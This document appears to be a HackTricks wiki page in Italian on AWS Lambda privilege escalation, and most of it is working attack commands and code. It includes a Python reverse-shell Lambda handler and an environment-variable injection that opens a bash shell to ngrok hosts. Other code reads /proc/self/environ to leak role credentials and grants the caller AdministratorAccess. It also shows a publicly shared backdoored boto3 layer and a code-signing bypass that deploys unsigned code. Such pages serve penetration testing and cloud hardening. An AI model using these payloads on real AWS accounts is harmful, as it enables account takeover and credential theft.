# AWS - Lambda Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## lambda

Maggiori informazioni su lambda in:

{{#ref}}
../../aws-services/aws-lambda-enum.md
{{#endref}}

### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)

Gli utenti con i permessi **`iam:PassRole`, `lambda:CreateFunction`, e `lambda:InvokeFunction`** possono elevare i loro privilegi.\
Possono **creare una nuova Lambda function e assegnarle un IAM role esistente**, concedendo alla function i permessi associati a quel ruolo. L'utente può poi **scrivere e caricare codice su questa Lambda function (ad esempio con una rev shell)**.\
Una volta configurata la function, l'utente può **attivarne l'esecuzione** e le azioni previste invocando la Lambda function tramite l'AWS API. Questo approccio permette all'utente di eseguire compiti indirettamente attraverso la Lambda function, operando con il livello di accesso concesso all'IAM role ad essa associato.\\

Un attacker potrebbe abusarne per ottenere una **rev shell e rubare il token**:
```python:rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
```

```bash
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>
```
Puoi anche **abusare dei permessi del ruolo lambda** dalla stessa funzione lambda.\
Se il ruolo lambda avesse permessi sufficienti, potresti usarlo per concederti diritti di amministratore:
```python
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
È inoltre possibile effettuare un leak delle credenziali del ruolo della lambda senza bisogno di una connessione esterna. Questo sarebbe utile per **Network isolated Lambdas** usate per attività interne. Se ci sono security groups sconosciuti che filtrano i tuoi reverse shells, questo pezzo di codice ti permetterà di effettuare direttamente il leak delle credenziali come output della lambda.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
```

```bash
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
```
**Impatto potenziale:** Privesc diretto sul ruolo di servizio lambda arbitrario specificato.

> [!CAUTION]
> Nota che, anche se può sembrare interessante **`lambda:InvokeAsync`** **non** consente da sola di **eseguire `aws lambda invoke-async`**, è necessario anche `lambda:InvokeFunction`

### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`

Come nello scenario precedente, puoi **assegnarti la permission `lambda:InvokeFunction`** se disponi della permission **`lambda:AddPermission`**
```bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
**Impatto potenziale:** Privesc diretto al ruolo di servizio lambda arbitrario specificato.

### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`

Utenti con le autorizzazioni **`iam:PassRole`, `lambda:CreateFunction` e `lambda:CreateEventSourceMapping`** (e potenzialmente `dynamodb:PutItem` e `dynamodb:CreateTable`) possono indirettamente **escalate privileges** anche senza `lambda:InvokeFunction`.\  
Possono creare una **Lambda function con codice malevolo e assegnarle un ruolo IAM esistente**.

Anziché invocare direttamente la Lambda, l'utente crea o utilizza una tabella DynamoDB esistente, collegandola alla Lambda tramite un event source mapping. Questa configurazione garantisce che la Lambda function venga attivata automaticamente all'inserimento di un nuovo item nella tabella, sia per azione dell'utente sia per un altro processo, invocando così indirettamente la Lambda e eseguendo il codice con le autorizzazioni del ruolo IAM passato.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
Se DynamoDB è già attivo nell'ambiente AWS, l'utente deve solo **stabilire l'event source mapping** per la Lambda function. Tuttavia, se DynamoDB non è in uso, l'utente deve **creare una nuova tabella** con lo streaming abilitato:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
Ora è possibile **connettere la Lambda function alla DynamoDB table** creando **un event source mapping**:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
```
Con la funzione Lambda collegata allo stream di DynamoDB, l'attaccante può **indirettamente attivare la Lambda tramite l'attivazione dello stream di DynamoDB**. Questo può essere ottenuto **inserendo un item** nella tabella DynamoDB:
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
```
**Impatto potenziale:** privesc diretto al ruolo di servizio lambda specificato.

### `lambda:AddPermission`

Un attacker con questo permesso può **concedersi (o concedere ad altri) qualsiasi permesso** (questo genera resource based policies per concedere accesso alla risorsa):
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```
**Potential Impact:** Privesc diretto al ruolo di servizio lambda ottenuto concedendo il permesso di modificare il codice ed eseguirlo.

### `lambda:AddLayerVersionPermission`

Un attacker con questa autorizzazione può **concedersi (o concedere ad altri) il permesso `lambda:GetLayerVersion`**. Potrebbe accedere al layer e cercare vulnerabilità o informazioni sensibili
```bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
```
**Impatto potenziale:** Potenziale accesso a informazioni sensibili.

### `lambda:UpdateFunctionCode`

Gli utenti che hanno il permesso **`lambda:UpdateFunctionCode`** possono **modify the code of an existing Lambda function that is linked to an IAM role.**\
L'attaccante può **modify the code of the lambda to exfiltrate the IAM credentials**.

Sebbene l'attaccante potrebbe non avere la capacità diretta di invocare la funzione, se la Lambda function è preesistente e operativa, è probabile che venga attivata tramite flussi di lavoro o eventi esistenti, facilitando così indirettamente l'esecuzione del codice modificato.
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access
```
**Impatto potenziale:** Direct privesc al ruolo di servizio lambda utilizzato.

### `lambda:UpdateFunctionConfiguration`

#### RCE via env variables

Con queste autorizzazioni è possibile aggiungere environment variables che faranno eseguire al Lambda codice arbitrario. Ad esempio, in python è possibile abusare delle environment variables `PYTHONWARNING` e `BROWSER` per far eseguire a un processo python comandi arbitrari:
```bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
Per altri linguaggi di scripting esistono altre variabili d'ambiente che puoi usare. Per maggiori informazioni consulta le sottosezioni dei linguaggi di scripting in:

{{#ref}}
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
{{#endref}}

#### RCE tramite Lambda Layers

[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permette di includere **code** nella tua lambda function ma **storing it separately**, quindi il codice della funzione può restare piccolo e **several functions can share code**.

All'interno di lambda puoi controllare i percorsi da cui viene caricato il python code con una funzione come la seguente:
```python
import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
```
Questi sono i percorsi:

1. /var/task
2. /opt/python/lib/python3.7/site-packages
3. /opt/python
4. /var/runtime
5. /var/lang/lib/python37.zip
6. /var/lang/lib/python3.7
7. /var/lang/lib/python3.7/lib-dynload
8. /var/lang/lib/python3.7/site-packages
9. /opt/python/lib/python3.7/site-packages
10. /opt/python

Per esempio, la libreria boto3 viene caricata da `/var/runtime/boto3` (4ª posizione).

#### Sfruttamento

È possibile abusare del permesso `lambda:UpdateFunctionConfiguration` per **aggiungere un nuovo layer** a una funzione lambda. Per eseguire codice arbitrario questo layer deve contenere qualche **libreria che la lambda importerà.** Se puoi leggere il codice della lambda, puoi scoprirlo facilmente; nota anche che potrebbe essere possibile che la lambda stia **già usando un layer** e tu possa **scaricare** il layer e **aggiungere il tuo codice** lì dentro.

Per esempio, supponiamo che la lambda stia usando la libreria boto3, questo creerà un layer locale con l'ultima versione della libreria:
```bash
pip3 install -t ./lambda_layer boto3
```
Puoi aprire `./lambda_layer/boto3/__init__.py` e **aggiungere la backdoor nel codice globale** (una funzione per exfiltrate credentials o ottenere una reverse shell, ad esempio).

Poi, zip la directory `./lambda_layer` e **carica il nuovo lambda layer** nel tuo account (o in quello della vittima, ma potresti non avere i permessi per farlo).\
Nota che devi creare una cartella python e mettere le librerie lì per sovrascrivere /opt/python/boto3. Inoltre, il layer deve essere **compatible with the python version** usata dalla lambda e se lo carichi nel tuo account, deve essere nella **same region:**
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
Ora rendi il lambda layer caricato **accessibile da qualsiasi account**:
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
```
Quindi allega il lambda layer alla victim lambda function:
```bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
```
Il passo successivo sarebbe o **invocare la funzione** noi stessi se possibile oppure aspettare che **venga invocata** dai normali meccanismi — che è il metodo più sicuro.

Un **modo più stealth per sfruttare questa vulnerabilità** si trova in:

{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
{{#endref}}

**Impatto potenziale:** Privesc diretto al ruolo di servizio lambda utilizzato.

### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`

Forse con questi permessi riesci a creare una funzione ed eseguirla chiamando l'URL... ma non sono riuscito a trovare un modo per testarlo, quindi fammi sapere se ci riesci!

### Lambda MitM

Alcune lambda riceveranno **informazioni sensibili dagli utenti nei parametri.** Se ottieni RCE in una di esse, puoi esfiltrare le informazioni che altri utenti le inviano; vedi:

{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}

## Riferimenti

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)



### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing

Se una funzione lambda applica il code signing, un attacker che può rimuovere la Code Signing Config (CSC) o degradarla a `WARN` può deployare codice non firmato nella funzione. Questo bypassa le protezioni di integrità senza modificare il ruolo IAM della funzione o i trigger.

Permissions (one of):
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`

Note:
- Per Path B, non serve un profilo AWS Signer se la policy del CSC è impostata su `WARN` (unsigned artifacts allowed).

Passaggi (REGION=us-east-1, TARGET_FN=<target-lambda-name>):

Prepara un piccolo payload:
```bash
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
```
Percorso A) Rimuovi CSC, quindi aggiorna il codice:
```bash
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
Percorso B) Downgrade a Warn e aggiorna il codice (se delete non è consentito):
```bash
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
Verifica:
```bash
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
```
Impatto potenziale: Possibilità di caricare ed eseguire codice arbitrario non firmato in una funzione che avrebbe dovuto imporre signed deployments, potenzialmente portando all'esecuzione di codice con i permessi del ruolo della funzione.

Pulizia:
```bash
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
```
{{#include ../../../../banners/hacktricks-training.md}}
